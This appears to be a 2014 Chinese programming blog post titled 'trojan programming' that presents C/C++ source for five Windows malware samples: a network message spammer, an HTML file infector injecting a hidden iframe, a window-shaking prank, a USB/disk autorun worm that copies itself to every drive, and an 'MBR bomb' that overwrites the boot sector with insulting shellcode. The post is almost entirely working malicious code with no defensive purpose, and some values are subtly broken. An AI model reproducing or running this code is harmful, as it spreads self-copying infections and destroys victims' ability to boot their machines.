木马编程

作者在 2014-01-28 00:43:23 发布以下内容

1、消息炸弹


[cpp] view plaincopy


  1. #define UNICODE   

  2. #define _UNICODE   

  3. #include <stdio.h>   

  4. #include <tchar.h>   

  5. #include <windows.h>   

  6. #include <Lm.h>   

  7. //消息炸弹  

  8. #pragma comment(lib, "Netapi32.lib") // 加载Netapi32.lib库   

  9.   

  10.   

  11. void main(int argc, wchar_t *argv[])   

  12. {     

  13.     TCHAR *DesIp = _TEXT("1210.36.16.167");   

  14.       

  15.     TCHAR *SouIp = _TEXT("255.255.255.255");   

  16.       

  17.     TCHAR *Msg = _TEXT("Fuck All MM");   

  18.       

  19.     int nRet = NetMessageBufferSend(NULL, DesIp, SouIp, (LPBYTE)Msg, sizeof(Msg));   

  20.       

  21.     if (nRet != NERR_Success)         

  22.     {   

  23.           

  24.         printf("Error\n");        

  25.     } else{  

  26.         printf("success\n");  

  27.     }  

  28.     getchar();  

  29.       

  30. }   


2、网页感染



[cpp] view plaincopy


  1. #include <stdio.h>  

  2. #include <string.h>  

  3. #include <stdlib.h>  

  4. #include <windows.h>  

  5. bool inject(char *filepath)  

  6. {  

  7.     char url[]="\r\n<iframe src=http://www.baidu.com/ width=0 height=0></iframe>";  

  8.     FILE *fp;  

  9.     fp=fopen(filepath,"rb+");  

  10.     if(fp==NULL)  

  11.     {  

  12.         return false;  

  13.     }  

  14.     fseek(fp,0,SEEK_END);  

  15.     fwrite(url,sizeof(char),strlen(url),fp);  

  16.     fclose(fp);  

  17.     return true;  

  18. }  

  19. void setColor(unsigned short ForeColor=3,unsigned short BackGroundColor=0)   

  20. //给参数默认值  

  21. {   

  22.     HANDLE hCon = GetStdHandle(STD_OUTPUT_HANDLE); //  

  23.     SetConsoleTextAttribute(hCon,ForeColor|BackGroundColor);      

  24. }  

  25. void OutPutDebugInfo(char *s,int level=0)  

  26. {  

  27.     switch (level)  

  28.     {  

  29.     case 0:  

  30.         setColor(7,0);//白色  

  31.         printf("%s",s);  

  32.         break;  

  33.     case 1:  

  34.         setColor(FOREGROUND_GREEN,0);;//绿色  

  35.         printf("%s",s);  

  36.         break;  

  37.     case 2:  

  38.         setColor(6,0);//黄色  

  39.         printf("%s",s);  

  40.         break;  

  41.     case 3:  

  42.         setColor(FOREGROUND_RED,0);//红色  

  43.         printf("%s",s);  

  44.         break;  

  45.     default:  

  46.         setColor(7,0);//白色  

  47.         printf("%s",s);  

  48.         break;  

  49.   

  50.     }  

  51. }  

  52. int main(int argc, char* argv[])   

  53. {     

  54.     if(!inject("c:\\test.htm"))           

  55.     {         

  56.         OutPutDebugInfo("Inject Error\n",3);   

  57.           

  58.     }else         

  59.     {         

  60.         OutPutDebugInfo("Inject success\n");          

  61.     }     

  62.     //OutPutDebugInfo("Inject success\n");  

  63.     getchar();  

  64.     return 0;   

  65.       

  66. }   


3、闪屏特效



[cpp] view plaincopy


  1. //闪屏特效  

  2. #include <stdio.h>  

  3. #include <windows.h>  

  4. void flashWindow()  

  5. {  

  6.   

  7.     HWND handle=GetForegroundWindow();  

  8.     for(int i=0;i<15;i++)  

  9.     {  

  10.         RECT rc;  

  11.         GetWindowRect(handle,&rc);  

  12.         MoveWindow(handle,rc.left+8,rc.top+8,rc.right-rc.left,rc.bottom-rc.top,1);  

  13.         Sleep(40);  

  14.         MoveWindow(handle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);  

  15.         Sleep(40);  

  16.         Beep(0x0fff,10);//配音  

  17.     }  

  18.   

  19. }  

  20. void main()  

  21. {  

  22.     flashWindow();  

  23.     getchar();  

  24. }  


4、磁盘感染


[cpp] view plaincopy


  1. #include <windows.h>  

  2. #include <stdio.h>  

  3. //磁盘感染  

  4. void WriteIni(char* path)  

  5. {  

  6.   

  7.     char inifilePath[MAX_PATH];  

  8.     strcpy(inifilePath,path);  

  9.     strcat(inifilePath,"\\autorun.inf");  

  10.     WritePrivateProfileString("AutoRun","open","AutoRun.exe",inifilePath);//写入INI  

  11.     WritePrivateProfileString("AutoRun","shell\\open","Open(&0)",inifilePath);//写入INI  

  12.     WritePrivateProfileString("AutoRun","shell\\open\\Command","AutoRun.exe",inifilePath);  

  13.   

  14.     SetFileAttributes(inifilePath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN);  

  15.   

  16. }  

  17. void InjectAllDisk()  

  18. {  

  19.   

  20.     for(char i='A';i<'Z';i++)  

  21.     {  

  22.   

  23.         char x[20]={i,':'};  

  24.         UINT type=GetDriveType(x);  

  25.         if(type==DRIVE_FIXED||type==DRIVE_REMOVABLE)  

  26.         {  

  27.   

  28.             printf("InjectAllDisk\n");  

  29.             WriteIni(x);  

  30.             char virusPath[MAX_PATH];  

  31.             char currentPath[MAX_PATH];  

  32.             GetModuleFileName(NULL,currentPath,MAX_PATH);  

  33.             sprintf(virusPath,"%s%s",x,"\\AutoRun.exe");  

  34.             CopyFile(currentPath,virusPath,TRUE);  

  35.             SetFileAttributes(virusPath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_READONLY);  

  36.   

  37.         }  

  38.   

  39.     }  

  40. }  

  41. DWORD WINAPI StartInject(LPVOID lparam)  

  42. {  

  43.     char szCmd[MAX_PATH];  

  44.     char path[MAX_PATH];  

  45.     GetModuleFileName(NULL,path,MAX_PATH);  

  46.     path[2]='\0';  

  47.     sprintf(szCmd,"explorer %s",path);  

  48.     WinExec(szCmd,SW_SHOW);  

  49.     while(TRUE)  

  50.     {  

  51.   

  52.         InjectAllDisk();  

  53.         Sleep(1000*60);  

  54.     }  

  55.     return 0;  

  56.   

  57.   

  58. }  

  59. int main(int argc,char*argv[])  

  60. {  

  61.   

  62.     HANDLE Thread=CreateThread(NULL,NULL,StartInject,NULL,NULL,NULL);  

  63.     WaitForSingleObject(Thread,INFINITE);  

  64.   

  65.     return 0;  

  66. }  

5、MBR炸弹


[cpp] view plaincopy


  1. // MBR炸弹   

  2. #include "StdAfx.h"  

  3. #include <windows.h>  

  4. #include <winioctl.h>  

  5.   

  6. int killMBR();  

  7.   

  8. int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )  

  9. {  

  10.   

  11.     MessageBox(NULL,"Fuck MBR!","Fuck!",0);  

  12.     killMBR();  

  13.     return 0;  

  14. }  

  15. unsigned char scode[]="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";   

  16.   

  17.   

  18. int killMBR()   

  19. {  

  20.     HANDLE hDevice;  

  21.     DWORD dwBytesWritten,dwBytesReturned;  

  22.     BYTE pMBR[512]={0};  

  23.     memcpy(pMBR,scode,sizeof(scode)-1);//重新构造MBR  

  24.   

  25.     pMBR[510]=0x55;  

  26.     pMBR[511]=0xAA;  

  27.     hDevice=CreateFile("\\\\.\\PHYSICALDRIVEO",  

  28.         GENERIC_READ|GENERIC_WRITE,  

  29.         FILE_SHARE_READ|FILE_SHARE_WRITE,  

  30.         NULL,OPEN_EXISTING,0,NULL);  

  31.     if(hDevice==INVALID_HANDLE_VALUE)  

  32.     {  

  33.   

  34.         return -1;  

  35.     }  

  36.     DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,  

  37.         &dwBytesReturned,NULL);  

  38.     WriteFile(hDevice,pMBR,sizeof(pMBR),&dwBytesWritten,NULL);//写入病毒内容  

  39.   

  40.     DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0  

  41.         ,&dwBytesReturned,NULL);  

  42.     CloseHandle(hDevice);  

  43.     ExitProcess(-1);  

  44.     return 0;  

  45. }  

C++ | 阅读 5284 次
文章评论,共0条
游客请输入验证码